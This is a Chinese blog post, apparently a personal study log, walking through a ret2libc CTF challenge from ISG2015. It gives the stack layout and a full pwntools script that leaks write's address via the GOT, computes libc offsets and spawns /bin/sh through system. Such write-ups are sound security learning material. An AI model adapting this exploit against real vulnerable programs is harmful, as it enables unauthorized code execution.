美文网首页
2019-11-12摸鱼一号

2019-11-12摸鱼一号

作者: 好大一只免孑 | 来源:发表于2019-11-13 20:21 被阅读0次

    要认真学习!(破音)

    很久没写了手都生了,先从简单的rop开始起手,之后慢慢增加难度
    会每天坚持的!除非我死了(不是

    一道ret2libc的题
    是ISG2015的题

    先IDA


    图片.png

    很简单的结构,用的版本直接告诉了是libc-2.19
    另外这里ida buf到ebp的距离是有问题的,实际调试距离是16

    程序中给出的可用的函数的数据有:
    write_plt_add
    write_got_add

    read_plt_add
    read_got_add

    write函数的第一个参数 0 1 2 分别对应 标准输入 标准输出 标准出错,那么可以利用write得到函数的真实地址,然后后面就是retlibc的标准操作惹

    布置栈结构应该为
    [
    'A'18,
    'A'
    4,
    write_plt_add,
    main,
    0x1,
    write_got_add,
    0x4,
    //以上用于获得write真实地址
    'A'*12 //这里不知道为啥上一次的A会遗留到这次,导致真正的偏移不是原本的22
    system,
    'bbbb',
    '/bin/sh'
    ]

    from pwn import *
    context.log_level="debug"
    
    sh=process('./pwnme')
    libc=ELF('/lib32/libc.so.6')
    
    write_plt_add=0x08048370
    write_got_add=0x0804a01c
    
    
    read_plt_add= 0x08048330
    read_got_add= 0x0804a00c
    
    mian_add=0x804847D
    
    libc_system=libc.symbols['system']
    libc_write=libc.symbols['write']
    libc_read=libc.symbols['read']
    libc_binsh=next(libc.search('/bin/sh'))
    
    
    p1='A'*20
    p1+=p32(write_plt_add)+p32(mian_add)+p32(0x1)+p32(write_got_add)+p32(0x4)
    sh.recvuntil(':')
    pwnlib.gdb.attach(sh)
    sh.sendline(p1)
    
    print sh.recvline()
    write_real_add=u32(sh.recv()[0:4])
    print hex(write_real_add)
    
    
    libc_add=write_real_add-libc_write
    system_real_add=libc_add+libc_system
    libc_real_binsh=libc_add+libc_binsh
    
    
    p2='a'*12+p32(system_real_add)+'bbbb'+p32(libc_real_binsh)
    
    
    sh.sendline(p2)
    sh.interactive()
    

    本来一堆调试的截图,妈的不知道为啥没保存,不想补了
    辣鸡简书
    he tui!

    相关文章

      网友评论

          本文标题:2019-11-12摸鱼一号

          本文链接:https://www.haomeiwen.com/subject/qhyqictx.html